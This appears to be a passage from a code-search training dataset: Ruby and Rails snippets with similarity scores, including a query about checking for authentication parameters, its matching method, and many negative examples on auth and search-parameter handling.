"def find_user_id\n if (params[:user_id])\n return params[:user_id].to_i\n else\n return params[:id].to_i\n end\n end",
"def actual_user\n User.find_by_id(session[:user_id])\n end",
"def user_key\n uid\n end",
"def user_id\n @values.fetch('userId') { \n @values['userId'] = nil\n }\n end",
"def get_user_id_harvest\n harvest_uri = URI(\"https://api.harvestapp.com/v2/users/me\")\n\n Net::HTTP.start(harvest_uri.host, harvest_uri.port, use_ssl: true) do |http|\n harvest_request = Net::HTTP::Get.new harvest_uri\n\n harvest_request[\"Authorization\"] = \"Bearer #{harvest_access_token}\"\n harvest_request[\"Harvest-Account-ID\"] = harvest_account_id\n harvest_request[\"User-Agent\"] = harvest_user_agent\n \n harvest_response = http.request harvest_request\n json_response = JSON.parse(harvest_response.body)\n return json_response[\"id\"]\n end\n end"
] |
[
"0.7645467",
"0.7389681",
"0.7312701",
"0.7123653",
"0.71005976",
"0.7092453",
"0.7092453",
"0.7092453",
"0.7092453",
"0.7092453",
"0.7092453",
"0.7083815",
"0.70586646",
"0.70318735",
"0.7011396",
"0.69800925",
"0.696835",
"0.696835",
"0.696835",
"0.696835",
"0.696835",
"0.696835",
"0.696835",
"0.696835",
"0.696835",
"0.696835",
"0.69571114",
"0.69534636",
"0.69412094",
"0.69114906",
"0.68819946",
"0.68715245",
"0.6857346",
"0.6856319",
"0.68490803",
"0.68321306",
"0.68205005",
"0.67777526",
"0.6710514",
"0.6688222",
"0.6680934",
"0.6630061",
"0.6629945",
"0.6622704",
"0.660745",
"0.65843403",
"0.65744793",
"0.65725666",
"0.6553485",
"0.6553485",
"0.6537014",
"0.65105766",
"0.65083265",
"0.6504541",
"0.6494595",
"0.6474137",
"0.6468876",
"0.64487875",
"0.6445526",
"0.6436116",
"0.64323413",
"0.6418622",
"0.6414595",
"0.6405541",
"0.64033705",
"0.64033705",
"0.6396837",
"0.6389637",
"0.63883394",
"0.63789475",
"0.63731813",
"0.6372225",
"0.6363582",
"0.63424736",
"0.63422555",
"0.6328692",
"0.6328354",
"0.6327289",
"0.6322357",
"0.6317152",
"0.629062",
"0.629016",
"0.62848747",
"0.6276693",
"0.62748367",
"0.62660915",
"0.62660915",
"0.62660915",
"0.62660915",
"0.62660915",
"0.62660915",
"0.6260857",
"0.62600243",
"0.6256219",
"0.6251468",
"0.6246532",
"0.6245349",
"0.62442595",
"0.623813",
"0.62356347"
] |
0.7673672
|
0
|
check existence of auth params
|
def auth_params_exist
auth.key?(:user_id) && auth.key?(:api_key)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def valid_for_params_auth?; end",
"def valid_for_params_auth?\n params_authenticatable? && valid_params_request? &&\n valid_params? && with_authentication_hash(:params_auth, params_auth_hash)\n end",
"def valid_params?\n params_auth_hash.is_a?(Hash)\n end",
"def is_empty_params\n\t\tif user_params[:email].blank? || user_params[:password].blank?\n\t\t\treturn error_log errors:{unauthenticated:[\"Please Provide Proper Parameters\"]}\n\t\tend\n\tend",
"def auth_provided?\n !username.nil? && !password.nil?\n end",
"def valid_params_request?\n !!env[\"devise.allow_params_authentication\"]\n end",
"def auth_present?\n !!request.headers['HTTP_AUTHORIZATION'].present?\n end",
"def valid?\n\t\tparams['user'] && params['user']['username'] && params['user']['password']\n\tend",
"def valid?\n params['user'] && params['user']['username'] && params['user']['password']\n end",
"def has_not_mandatory_params?\n !params[:email].present? || !params[:password].present?\n end",
"def valid_for_http_auth?; end",
"def oAuthValidate\r\n logger.info(\"UserController::oAuthValidate::Params:----#{params}\")\r\n \r\n end",
"def auth_info\n params[auth_param] || {}\n end",
"def auth?\n true\n end",
"def allow_params_authentication!; end",
"def check_params #:doc:\n if params[:username] !~ /.{1,}/ or params[:password] !~ /.{1,}/ or\n params[:devicename] !~ /.{1,}/ or params[:dev_type] !~ /.{1,}/ or\n (params[:port] != nil and params[:port] !~ /\\d{1,10}/)\n return false\n else\n return true\n end\n end",
"def auth_params\n if !current_user.is_admin?\n params[:person].delete(:is_pal) if params[:person]\n end\n end",
"def auth?\n false\n end",
"def check_params; true; end",
"def params_valid?\n \n #if the user isn't signed in or there aren't any parameters, the params \n #aren't valid\n if !user_signed_in? || !params_present? \n return false\n end\n \n #Check whether a submission for the given language exists and whether it\n #belongs to the current user.\n submission = Submission.where(id: params[:submission_id], language_id: params[:language_id])\n \n submission.present? && current_user.id == submission.first.user_id\n end",
"def username_and_password?\n params[:username].present? && params[:password].present?\n end",
"def has_auth?\n !current_person.nil?\n end",
"def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:filename].blank? &&\n !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end",
"def valid_user?\n params['username'] && params['password']\n end",
"def check_params\n true\n end",
"def ensure_params(*req)\n missing = []\n req.flatten.each do |param|\n if params[param].blank?\n missing << param.to_s\n end\n end\n if missing.empty?\n return false\n else\n msg = \"Following params are required but missing: \" + missing.join(\", \")\n render_api_error(11 , 400, 'params', msg)\n return true\n end\n end",
"def set?\n @auth.any?\n end",
"def params_authenticatable?; end",
"def password_required?\n super && authorizations.length == 0 && !auth_temp_token\n end",
"def auth_param; end",
"def valid_params_request?\n true\n end",
"def valid_params_request?\n true\n end",
"def valid_to_proceed?\r\n decoded_auth_token.present? && decoded_auth_token[:user_id].present? && valid_token?\r\n end",
"def authentication_set?\n !@username.nil? && !@password.nil?\n end",
"def api_accessible?\n oauth_token.present? && oauth_secret.present?\n end",
"def auth_options\n params.require(:email)\n params.require(:password)\n end",
"def authorized?\n !auth.nil?\n end",
"def valid_keys?(passport)\n (REQ - passport.keys).length === 0\n end",
"def key_check\n logger.debug \"checking authorization key \"\n unauthorized \"No authorization key provided. Please pass the API token as GET parameter named 'key'. Example: ?key=abcdef\" if params[:key].nil?\n logger.debug \"token is \" + params[:key] unless params[:key].nil?\n end",
"def params_auth_hash; end",
"def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end",
"def ensure_param(arg)\n params[arg.to_sym].present?\n end",
"def check_params\n # For each key,value in GLOBAL VAR **PARAMS**.\n PARAMS.each do |param, method|\n # Next if there isn't param in the request of client\n next unless params[param]\n # Check the *param* with *method*\n unless send(method, params[param])\n @error_object = \"Param #{param} is wrong, #{method} failed\"\n return false\n end\n end\n true\n end",
"def authentication_required!\n @access_token.nil?\n end",
"def valid?\n\n auth_params = params[scope]\n return false if !auth_params\n\n (nimbus_auth(auth_params)&.code == 200) ? true : false\n end",
"def routing_params?\n routing_params.any?\n end",
"def plivo_auth_id_required\n # bypass plivo auth creation for admin users \n if self.role == \"admin\"\n return false\n else\n plivo_auth_id.blank?\n end\n end",
"def authok?\n @authok\n end",
"def authok?\n @authok\n end",
"def authok?\n @authok\n end",
"def authok?\n @authok\n end",
"def key_based?\n @username && !@username.empty? && @api_key && !@api_key.empty?\n end",
"def auth?\n me != nil\n end",
"def valid_params?\n params.none? do |k,v|\n v == \"\"\n end\n end",
"def valid_params_request?; end",
"def routing_params?\n routing_params.any?\n end",
"def need_protection?(request)\n request.params.has_key?('access_token')\n end",
"def user_params_exists\n return unless params[:user].blank?\n json_response({ success: false, message: \"Missing user parameters.\" }, :unprocessable_entity)\n end",
"def needed_params_present?(*ar_params)\n ar_params.flatten.all? { |e| params[e].present? }\n end",
"def check_credentials\n raise \"Please set load_configuration with #{RightSignature2013::Connection.api_token_keys.join(',')} or #{RightSignature2013::Connection.oauth_keys.join(',')}\" unless has_api_token? || has_oauth_credentials?\n end",
"def password_required?\n logger.debug \"authentications: #{authentications.inspect}\"\n if authentications.blank? || authentications.first.provider.blank?\n super\n end\n end",
"def authorized?\n @auth ||= Rack::Auth::Basic::Request.new(request.env)\n @auth.provided? &&\n @auth.basic? &&\n @auth.credentials &&\n check(@auth.credentials)\n end",
"def set?\n @auth_default || @auth.any?\n end",
"def invalid_params?\n @invalid_params.keys.length == 0\n end",
"def userauth_params\n params.fetch(:userauth, {})\n end",
"def verify_authenticity_token\n if auth_token_param.present?\n verify_valid_auth_token!\n else\n super\n end\n end",
"def auth_info_has_any_name?(info)\n [info['full_name'], info['first_name'], info['last_name']].any?\n end",
"def authenticated_end_user?(args) \n config = configuration.auth ? true : false\n arg = args[:auth]\n if ! arg.nil?\n arg ? true : false\n elsif ! config.nil?\n config ? true : false\n else\n false\n end\n end",
"def has_auth_criteria?\n\t\t\treturn self.has_positive_auth_criteria? || self.has_negative_auth_criteria?\n\t\tend",
"def verify_fb_auth(auth)\n !(auth.blank? || auth[\"uid\"].blank? ||\n !auth[\"uid\"].to_s.match(/\\A\\d+\\Z/) ||\n auth[\"info\"][\"first_name\"].blank? ||\n auth[\"info\"][\"last_name\"].blank?)\n end",
"def valid?\n authorization_header.present? && authorization_header.match(BEARER_PATTERN) && authentication_token.present?\n end",
"def param_is_valid?\n robot_facings = @robot.class.const_get(:AVAIABLE_FACING).map(&:to_s)\n\n !(@args =~ /^\\d+,\\d+,(#{robot_facings.join('|').upcase})+$/).nil?\n end",
"def authenticated_end_user?(args)\n config = configuration.auth ? true : false\n arg = args[:auth]\n if ! arg.nil?\n arg ? true : false\n elsif ! config.nil?\n config ? true : false\n else\n false\n end\n end",
"def authenticated_end_user?(args)\n config = configuration.auth ? true : false\n arg = args[:auth]\n if ! arg.nil?\n arg ? true : false\n elsif ! config.nil?\n config ? true : false\n else\n false\n end\n end",
"def valid_parionsdirect_account_params?\n status = true\n if @pseudo.blank? || @firstname.blank? || @lastname.blank? || @email.blank? || @password.blank? || @password_confirmation.blank? || @birthdate.blank?\n status = false\n end\n\n return status\n end",
"def param_exists?(param_name)\n params[param_name] and not params[param_name].empty? ? true : false\n end",
"def has_valid?(params)\n params.none?{|key,value| value.empty?}\n end",
"def authorized?\n @auth ||= Rack::Auth::Basic::Request.new(request.env)\n user = ENV[\"HTTP_USER\"]\n pass = ENV[\"HTTP_PASS\"]\n @auth.provided? && @auth.basic? && @auth.credentials && @auth.credentials == [user, pass]\n end",
"def invalid_identity_credentials?\n params[:provider] == \"identity\" && params.has_key?(:auth_key)\n end",
"def token_based?\n @userId && @authToken && !@authToken.empty?\n end",
"def valid_for_authentication?; end",
"def valid_for_authentication?; end",
"def required_credentials?(credentials = {})\n credentials_error unless REQUIRED_KEYS.all? { |k| credentials[k] }\n end",
"def authorized?\n auth_config = settings.config['authentication']\n @auth ||= Rack::Auth::Basic::Request.new(request.env)\n @auth.provided? and @auth.basic? and @auth.credentials and @auth.credentials == [auth_config['username'], auth_config['password']]\n end",
"def authentication_in_progress?\n request.path_info =~ /^\\/oauth/\n end",
"def authentication_in_progress?\n request.path_info =~ /^\\/oauth/\n end",
"def needs_authenticate_user?\n except_actions = %w[index show print]\n !except_actions.include?(action_name)\n end",
"def checkauth\n raise ZbxAPI_ExceptionBadAuth, 'Not logged in' if !loggedin?\n end",
"def auth\n if request.get?\n show_auth\n elsif request.post?\n check_auth\n end\n end",
"def oauth_required\n invalid_oauth_response and return false unless current_token\n end",
"def require_token_or_user\n if params[:token].present? && params[:salt].present?\n require_token\n else\n require_user\n end\n end",
"def required_params?\n @unincluded_params = []\n\n required_params.each do |param|\n unless params.include?(param)\n unincluded_params << param\n end\n end\n\n unincluded_params.empty?\n end",
"def oauth_login?\n github_id.present? || facebook_id.present?\n end",
"def needs_password?(_user, params)\n params[:password].present?\n end",
"def has_param(name) \n return (@params.has_key? name)\n end",
"def missing_args?(opts)\n !(opts[:server] && opts[:username] && opts[:api_token] &&\n ENDPOINT.keys.include?(opts[:server].to_sym))\n end",
"def validate_required_params\n required_params.each do |param|\n unless options.send(param)\n error_msg = \"omniauth-dice error: #{param} is required\"\n fail RequiredCustomParamError, error_msg\n end\n end\n end",
"def check_if_password_and_email_provided!\n\n unless @user_credential_params[:email].blank? || @user_credential_params[:password]\n fail_immediately(:no_email_or_pwd_provided)\n end\n\n end",
"def valid?\n @params_definition.each { |pd| return false unless @params.has_key?(pd) }\n true\n end",
"def has_missing_params?(required_params)\n required_params.each do |param|\n return true if params[param].blank?\n end\n false\n end"
] |
[
"0.816638",
"0.77417094",
"0.7450934",
"0.74055743",
"0.7396229",
"0.737999",
"0.72717565",
"0.70791",
"0.7000566",
"0.6939553",
"0.6935825",
"0.6845076",
"0.6775781",
"0.6733712",
"0.6727407",
"0.6726336",
"0.6710135",
"0.67016196",
"0.66966575",
"0.66760284",
"0.6672235",
"0.6650385",
"0.6648338",
"0.6641616",
"0.66361797",
"0.66288126",
"0.6619784",
"0.6611519",
"0.66085327",
"0.66024345",
"0.6596967",
"0.6596967",
"0.65960234",
"0.6591855",
"0.6585499",
"0.6578967",
"0.6577345",
"0.65547943",
"0.6553593",
"0.65402627",
"0.6524174",
"0.6521254",
"0.6516865",
"0.6514501",
"0.6484251",
"0.6443666",
"0.6441434",
"0.6440619",
"0.6440619",
"0.6440619",
"0.6440619",
"0.6439537",
"0.64344263",
"0.6426587",
"0.6424868",
"0.6423806",
"0.6409181",
"0.63977885",
"0.63948244",
"0.6386515",
"0.63807666",
"0.6375832",
"0.63643426",
"0.63486975",
"0.6335182",
"0.633073",
"0.6327421",
"0.63090646",
"0.6305644",
"0.63048375",
"0.6289977",
"0.6277921",
"0.62752235",
"0.62752235",
"0.62685823",
"0.62591445",
"0.62540776",
"0.625178",
"0.6233761",
"0.62323874",
"0.62306535",
"0.62306535",
"0.6225755",
"0.6224726",
"0.6213297",
"0.6213297",
"0.6207359",
"0.62022036",
"0.6191585",
"0.61897624",
"0.61871636",
"0.6179459",
"0.6176572",
"0.61712325",
"0.6167454",
"0.616004",
"0.61588395",
"0.61504054",
"0.6150124",
"0.6149306"
] |
0.8768393
|
0
|
returns a hash of only the search parameters that apply to the specific model being queried
|
def model_search_params(model, params)
cols = model.column_names
params.reject { |k, _v| !cols.include?(k) }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_query_params\n out = {}\n search_attributes.each do |val|\n out[val.field] = self.send(val.field) unless self.send(val.field).blank?\n end\n\n out\n end",
"def fetch_custom_search_params; end",
"def search_params\n params.fetch(:search, {})\n end",
"def search_params\n params.fetch(:search, {})\n end",
"def search_params\n params.fetch(:search, {})\n end",
"def index\n @search_params = SearchParam.all\n end",
"def search_params\n return {} unless params[:q]\n params.require(:q).permit!\n end",
"def query_parameters\n params = {}\n params['filter'] = @optional['filter'] if @optional['filter']\n params\n end",
"def search_params\n # params[:search]\n end",
"def search_params search\n search = Hash.new\n [:writing, :kana, :romaji, :def_de, :def_en, :def_fr].each do |field|\n search[field] = \"%#{params[:search]}%\"\n end\n search\n end",
"def model_params\n request.params[model.params_name]\n end",
"def filter_model_params(model_module, params)\n params\n end",
"def filters_for(model)\n filters = session['search'][model.to_s] if session['search'] && session['search'][model.to_s].presence\n filters.delete_if { |k, v| v.nil? } if filters\n end",
"def setup_search_options\n @original_search_parameter = params[:search]\n params[:search] ||= \"\"\n params.keys.each do |param|\n if param =~ /(\\w+)_id$/\n unless params[param].blank?\n query = \"#{$1} = #{params[param]}\"\n params[:search] += query unless params[:search].include? query\n end\n end\n end\n end",
"def search_params\n # note: search_fields_attributes are assigned id's when errors occur,\n # so we remove them since no records are in the db for this search:\n unless params['search']['search_fields_attributes'].blank?\n params['search']['search_fields_attributes'].each { |k,v| v.delete('id') }\n end\n # remove single/double quotes from name which cause chart's to fail:\n params[:search][:name] = params[:search][:name].gsub(/'/, '').gsub(/\"/, '') unless params[:search][:name].blank?\n params.require(:search).permit(\n :name, :query, :sources,\n :date_from, :time_from, :date_to, :time_to, :relative_timestamp,\n :host_from, :host_to,\n :search_type, :group_by,\n :query_params,\n search_fields_attributes: [\n :id, :_destroy,\n :and_or, :data_source_id, :data_source_field_id, :match_or_attribute_value\n ]\n )\n end",
"def book_search_params\n params.fetch(:book_search, {})\n end",
"def searchable_attributes\n key_props = self.class.primary_key_attributes\n return key_props if key_searchable?(key_props)\n key_props = self.class.secondary_key_attributes\n return key_props if key_searchable?(key_props)\n key_props = self.class.alternate_key_attributes\n return key_props if key_searchable?(key_props)\n end",
"def filtering_params(params)\n params.slice(:omnisearch)\n end",
"def current_query_params\n values = current_search_session.try(:query_params)\n values.to_h\n end",
"def search_attributes\n nil\n end",
"def query_params\n {}\n end",
"def query_params\n {}\n end",
"def query_params\n {}\n end",
"def query_params\n {}\n end",
"def keyword_queries\n unless(@keyword_queries)\n @keyword_queries = {}\n\n return @keyword_queries unless @params[:search_field] == ::AdvancedController.blacklight_config.advanced_search[:url_key]\n \n config.search_fields.each do | key, field_def |\n if ! @params[ key.to_sym ].blank?\n @keyword_queries[ key ] = @params[ key.to_sym ]\n end\n end\n end\n return @keyword_queries\n end",
"def set_search_params \n # TODO: figure out how to do this without having to change params to symbols\n symbolic_params = {}\n search_params.each_pair do |key, value|\n symbolic_params.merge!(key.to_sym => value)\n end\n @search_params = symbolic_params\n end",
"def get_search_params_and_query_string\n if !params[:tire_model_id].blank?\n @tire_store.tire_model_id = params[:tire_model_id]\n @search_query = \"tire_model_id=#{params[:tire_model_id].to_i}\"\n else\n if !params[:auto_options_id].blank?\n option = AutoOption.find(params[:auto_options_id])\n @tire_store.tire_size_id = option.tire_size_id if option\n elsif !params[:width].blank? && !params[:ratio].blank? && !params[:wheeldiameter].blank?\n # check and make sure the size is valid\n ts = TireSize.find_by_sizestr(\"#{params[:width].to_i}/#{params[:ratio].to_i}R#{params[:wheeldiameter].to_i}\")\n @tire_store.tire_size_id = ts.id if ts\n end\n \n if @tire_store.tire_size_id\n @search_query = \"tire_size_id=#{@tire_store.tire_size_id}\"\n \n #Don't include the manufacturer filter unless we have a valid size search going\n if !params[:tire_manufacturer_id].blank?\n @tire_store.tire_manufacturer_id_filter = params[:tire_manufacturer_id]\n @search_query += \"&tire_manufacturer_id_filter=#{params[:tire_manufacturer_id].to_i}\"\n end\n end\n end\n end",
"def solr_search_params(user_params = params || {})\n solr_parameters = {}\n solr_search_params_logic.each do |method_name|\n send(method_name, solr_parameters, user_params)\n end\n\n return solr_parameters\n end",
"def filtering_params(params)\n unless params[:search]\n return []\n end\n # {\"price_from\"=>\"50.000\",\n # \"price_till\"=>\"\",\n # \"property_type\"=>\"propertyTypes.bungalow\",\n # \"locality\"=>\"#<OpenStruct value=\\\"provincias.cadiz\\\", label=\\\"Cádiz\\\">\",\n # \"zone\"=>\"#<OpenStruct value=\\\"provincias.ciudadReal\\\", label=\\\"Ciudad Real\\\">\",\n # \"count_bedrooms\"=>\"6\",\n # \"count_bathrooms\"=>\"\",\n # \"property_state\"=>\"propertyStates.brandNew\"}\n params[:search].slice(:in_locality, :in_zone, :for_sale_price_from, :for_sale_price_till, :for_rent_price_from,\n :for_rent_price_till, :property_type, :property_state, :count_bathrooms, :count_bedrooms)\n end",
"def nxql_search_params\n fields = %w(brand_id brand_name item_id item_name nf_serving_size_qty nf_serving_size_unit)\n fields << %w(nf_calories nf_total_carbohydrate nf_sodium nf_dietary_fiber nf_protein)\n default_fields = fields.flatten\n\n {\n offset: 0,\n limit: 50,\n fields: default_fields,\n\n filters:{\n item_type:2 #filter by boxed goods?\n }\n\n }\n end",
"def get_query_params\n {}\n end",
"def search_fields\n Blacklight.config[:search_fields]\n end",
"def query_params\n {}\n end",
"def query_params\n {}\n end",
"def search_options(options)\n {\n search: {\n parameters: options\n }\n }\n end",
"def params(search_string)\n { text: search_string, city: CITY, country: COUNTRY, key: KEY }.compact\n end",
"def query_params\n get_query_params\n end",
"def search_param\n return { user_id: params['user_id'] } if params['user_id'].present?\n return { book_id: params['book_id'] } if params['book_id'].present?\n end",
"def keyword_queries\n unless @keyword_queries\n @keyword_queries = {}\n\n return @keyword_queries unless @params[:search_field] == ::AdvancedController.blacklight_config.advanced_search[:url_key]\n\n config.search_fields.each do |key, _field_def|\n unless @params[key.to_sym].blank?\n @keyword_queries[key] = @params[key.to_sym]\n end\n end\n end\n @keyword_queries\n end",
"def to_params\n params = self.filter_attributes %w(label name type hint position required localized unique searchable)\n\n # we set the _id / _destroy attributes for embedded documents\n params[:_id] = self._id if self.persisted?\n params[:_destroy] = self._destroy if self._destroy\n\n case self.type\n when :text\n params[:text_formatting] = self.text_formatting\n when :select\n params[:raw_select_options] = self.select_options.map(&:to_params)\n when :belongs_to\n params[:class_name] = self.class_name\n when :has_many, :many_to_many\n %w(class_name inverse_of order_by ui_enabled).each do |name|\n params[name.to_sym] = self.send(name.to_sym)\n end\n end\n\n params\n end",
"def permitted_search_fields\n fields = @rails.resource.fields\n\n to_ids = []\n\n expanded_fields = expand_association_to_ids fields\n\n search_fields.each do |key|\n next unless expanded_fields.keys.include?(key)\n type = expanded_fields[key]\n to_ids << (['references', 'belongs_to'].include?(type.downcase) ? \"#{key}_id\" : key)\n end\n to_ids\n end",
"def search_params\n if params[:q] == nil\n params[:q] = session[search_key]\n end\n if params[:q]\n session[search_key] = params[:q]\n end\n params[:q]\n end",
"def make_conditions(params, model)\n search_string = params[SEARCH_KEY]\n filter_string = params[FILTER_KEY]\n if search_string && filter_string\n error 400, convert(body_for(:invalid_params, [FILTER_KEY]))\n elsif search_string\n words = search_string.downcase.split(\" \")\n { :_keywords => { '$all' => words } }\n elsif filter_string\n begin\n unsafe = QS_FILTER.parse(filter_string)\n sanitize(unsafe, model)\n rescue QueryStringFilter::ParseError\n error 400, convert(body_for(:invalid_filter, filter_string))\n end\n else\n {}\n end\n end",
"def filtering_params(params)\n\t params.slice(:search, :title, :content)\n\tend",
"def to_params\n self.filter_attributes %w(_slug _position _visible seo_title meta_keywords meta_description)\n end",
"def select_params params, keys\n model ={}\n params.each do |key, value|\n if keys.include? key\n model[key]=value\n end\n end\n model\n end",
"def model_params\n params.require(:search_field).permit(:name, :title, :sort_order, :options)\n end",
"def params_for_search(params_to_merge = {})\n # params hash we'll return\n my_params = to_h.merge(self.class.new(params_to_merge, blacklight_config, controller))\n\n if block_given?\n yield my_params\n end\n\n if my_params[:page] && (my_params[:per_page] != params[:per_page] || my_params[:sort] != params[:sort])\n my_params[:page] = 1\n end\n\n Parameters.sanitize(my_params)\n end",
"def index\n @search_parameters = SearchParameter.all\n end",
"def format_params(params)\n \n # this is just used for multi_index search\n params[:indexes] ||= ['documents', 'people', 'topics', 'places' ]\n \n \n # return loaded models?\n params[:load] ||= true\n \n # will_paginate settings\n params[:page] ||= 1\n params[:per_page] ||= 25\n params[:offset] = ( ( params[:page].to_i - 1) * params[:per_page].to_i)\n\n # sort by\n params[:sort_by], params[:order_by] = params[:sort].split(\":\") if params[:sort]\n params[:order_by] = \"desc\" unless params[:order_by] == \"asc\"\n\n # facet filters and query\n params[:facet] ||= []\n params[:facet].compact!\n\n params[:request_query] = params[:q] ? params[:q].compact : \"*\"\n \n # facet filtering/limits\n params[:facet_filters] = params[:facet].collect do |f|\n facet, value = f.split(\":\")\n lambda { |boolean| boolean.must { term facet.to_sym, value } }\n end\n \n # facets to be returned\n params[:request_facets] ||= self.facets\n params[:facet_query] = {} \n params[:request_facets].each { |f| params[:facet_query][f] = params[:\"#{f}_page\"] ? ( ( params[:\"#{f}_page\"].to_i * 10 ) + 1 ) : 11 }\n \n return params\n end",
"def prepare_saved_search_params\n # get previous advanced search from session if any\n if session[:crm_borrowed_items_search_details] != nil\n @search = session[:crm_borrowed_items_search_details]\n else\n @search = CrmBorrowedItemsSearchDetails.new\n end\n \n new_search = false\n search_params = params[:search]\n \n if !search_params.blank?\n search_params.keys.map{ |k| new_search = true unless @search.send(k) == search_params[k] }\n else\n new_search = true\n end\n \n if new_search\n session[:crm_borrowed_items_search_details] = []\n \n if !search_params.blank?\n search_params.keys.map{|k| @search.send(k+'=', search_params[k])}\n end \n session[:crm_borrowed_items_search_details] = @search\n end\n \n end",
"def search(criteria = {})\r\n \r\n end",
"def search_params\n params[:name]\n end",
"def query_params\n\t\t\t\t{}\n\t\t\tend",
"def search_params\n params.fetch(:genius, {})\n end",
"def reset_search_params\n Parameters.sanitize(to_h).except(:page, :counter)\n end",
"def search_params\n params.require(:search).permit(:pre_condition, :field, :comparison, :value,\n :sort_by, :sort_direction,\n connections_attributes: [\n :id, :_destroy,\n :connector,\n :pre_condition, :field, :comparison, :value\n ])\n end",
"def search_params\n allowed_attrs = %i[name categories]\n params.permit(*allowed_attrs)\n end",
"def query_params\n {}\n end",
"def search_data\n {\n name: name,\n secondary: secondary_name,\n city: city,\n state: state\n }\n end",
"def params_for_query\n params.merge(q: params[:cq])\n end",
"def search_params\n if params[:q] == nil\n params[:q] = session['search_key']\n end\n if params[:q]\n session['search_key'] = params[:q]\n end\n params[:q]\n end",
"def prepare_saved_search_params\n # get previous advanced search from session if any\n if session[:crm_communication_search_details] != nil\n @search = session[:crm_communication_search_details]\n else\n @search = CrmCommunicationSearchDetails.new\n end\n \n newSearch=false\n search_params = params[:search]\n \n if !search_params.blank?\n search_params.keys.map{ |k| \n if @search.send(k) != search_params[k]\n newSearch=true\n \n end\n }\n else\n newSearch=true\n end\n \n if newSearch\n session[:crm_communication_search_details]=[]\n \n if !search_params.blank?\n search_params.keys.map{|k| @search.send(k+'=', search_params[k])}\n end \n session[:crm_communication_search_details] = @search\n end\n \n end",
"def query_params\n {\n name:,\n q: query,\n api_key:\n }\n end",
"def search_keys \n return search_field_definitions.keys\n end",
"def search\n request.write_attributes request_attributes\n @search ||= request.call\n end",
"def search\n # Invoke Searchkick's search method with our search constraints.\n @results ||= search_model.search(@query, search_constraints)\n\n # Wrap the information as a hash and pass it to PropertiesController.\n {\n results: @results,\n formatted_query: formatted_query,\n json_for_map: json_for_map,\n center_lng_lat: center_lng_lat\n }\n end",
"def get_search(params)\n @search ||= begin\n # make params coming from Ext grid filters understandable by searchlogic\n search_params = normalize_params(params)\n\n # merge with conditions coming from the config\n search_params[:conditions].deep_merge!(config[:conditions] || {})\n\n # merge with extra conditions (in searchlogic format, come from the extended search form)\n search_params[:conditions].deep_merge!(\n normalize_extra_conditions(ActiveSupport::JSON.decode(params[:extra_conditions]))\n ) if params[:extra_conditions]\n\n search = data_class.searchlogic(search_params)\n \n # applying scopes\n scopes.each do |s|\n if s.is_a?(Array)\n scope_name, *args = s\n search.send(scope_name, *args)\n else\n search.send(s, true)\n end\n end\n \n search\n end\n end",
"def search_params\n params.require(:search).permit(:result_no, :generate_no, :last_result_no, :last_generate_no, :e_no, :sub_no, :main_no, :i_no, :i_name, :value)\n end",
"def search_data\n {\n name: name,\n description: description,\n status: status\n }\n end",
"def isearch_params\n params[:isearch]\n end",
"def fields\n search_params.return_fields +\n %w[document_type\n title\n description\n organisation_content_ids\n topic_content_ids\n mainstream_browse_page_content_ids\n popularity\n format\n link\n public_timestamp\n updated_at\n indexable_content]\n end",
"def prepare_saved_search_params\n # get previous advanced search from session if any\n if session[:adv_crm_contacts_search_details] != nil\n @search = session[:adv_crm_contacts_search_details]\n else\n @search = CrmContactsAdvancedSearchDetails.new\n end\n \n newSearch=false\n search_params = params[:search]\n \n if !search_params.blank?\n search_params.keys.map{ |k| \n if @search.send(k) != search_params[k]\n newSearch=true\n \n end\n }\n else\n newSearch=true\n end\n \n if newSearch\n session[:adv_crm_contacts_search_details]=[]\n \n if !search_params.blank?\n search_params.keys.map{|k| @search.send(k+'=', search_params[k])}\n end \n session[:adv_crm_contacts_search_details] = @search\n end\n \n end",
"def query_params\n return if params.blank?\n\n rq_params = params[:rq]\n rq_params&.delete_if { |key, value| key == 'enabled_eq' && value == '0' }\n end",
"def request_query_params\n {}\n end",
"def filter\n @filter_params.each do |key, val|\n # Strip empty values from the array if the given value is an array.\n val.select!{ |val| !val.to_s.empty? } if val.is_a?(Array)\n\n # Convert key if it starts with a column name.\n key = key.slice(@model_method_name.length + 1, key.length) if key.start_with?(\"#{@model_method_name}_\")\n\n if @force_filter_for && @force_filter_for.include?(key)\n ret = @args[:filter].call(:key => key, :val => val, :query => @query)\n @query = ret if ret\n elsif @model.column_names.include?(key)\n if val.is_a?(Array) && val.empty?\n # Ignore.\n else\n @query = @query.where(key => val)\n end\n elsif match = key.to_s.match(/^(.+)_like$/) and @model.column_names.include?(match[1])\n next if val.blank?\n table = @model.arel_table\n \n val.to_s.strip.split(/\\s+/).each do |str|\n @query = @query.where(table[match[1].to_sym].matches(\"%#{escape(str)}%\"))\n end\n elsif @args[:filter]\n ret = @args[:filter].call(:key => key, :val => val, :query => @query)\n @query = ret if ret\n else\n raise \"Dont know what to do regarding filter with key: '#{key}'.\"\n end\n end\n end",
"def collect_parameters\n @search = params[:search]\n @page = (params[:page]).blank? ? 1 : params[:page]\n @latitude = params[:origin_latitude]\n @longitude = params[:origin_longitude]\n @location_lock = (params[:location_lock]).blank? ? \"true\" : params[:location_lock]\n @proximity = (params[:proximity]).blank? ? 5 : (params[:proximity]).to_i\n @user_id = params[:user_id]\n end",
"def search_options(request)\n params = request.params\n limit = params['limit']\n offset = params['offset']\n options = {}\n options[:limit] = limit.to_i if limit\n options[:offset] = offset.to_i if offset\n options\n end",
"def filter_search(attributes)\n # TODO CHANGE because to _unsafe h permits to inject all the things of attributes\n attributes.to_unsafe_h.inject(self) do |scope, (key, value)|\n # return scope.scoped if value.blank?\n if value.blank?\n scope.all\n else\n case key.to_sym\n when :order # order=field-(ASC|DESC)\n attribute, order = value.split('-')\n scope.order(\"#{table_name}.#{attribute} #{order}\")\n\n else # unknown key (do nothing or raise error, as you prefer to)\n scope.all\n end\n\n end\n end\n end",
"def attributes\n query[ model_name ]\n end",
"def query_params\n {}\n end",
"def query_params\n {}\n end",
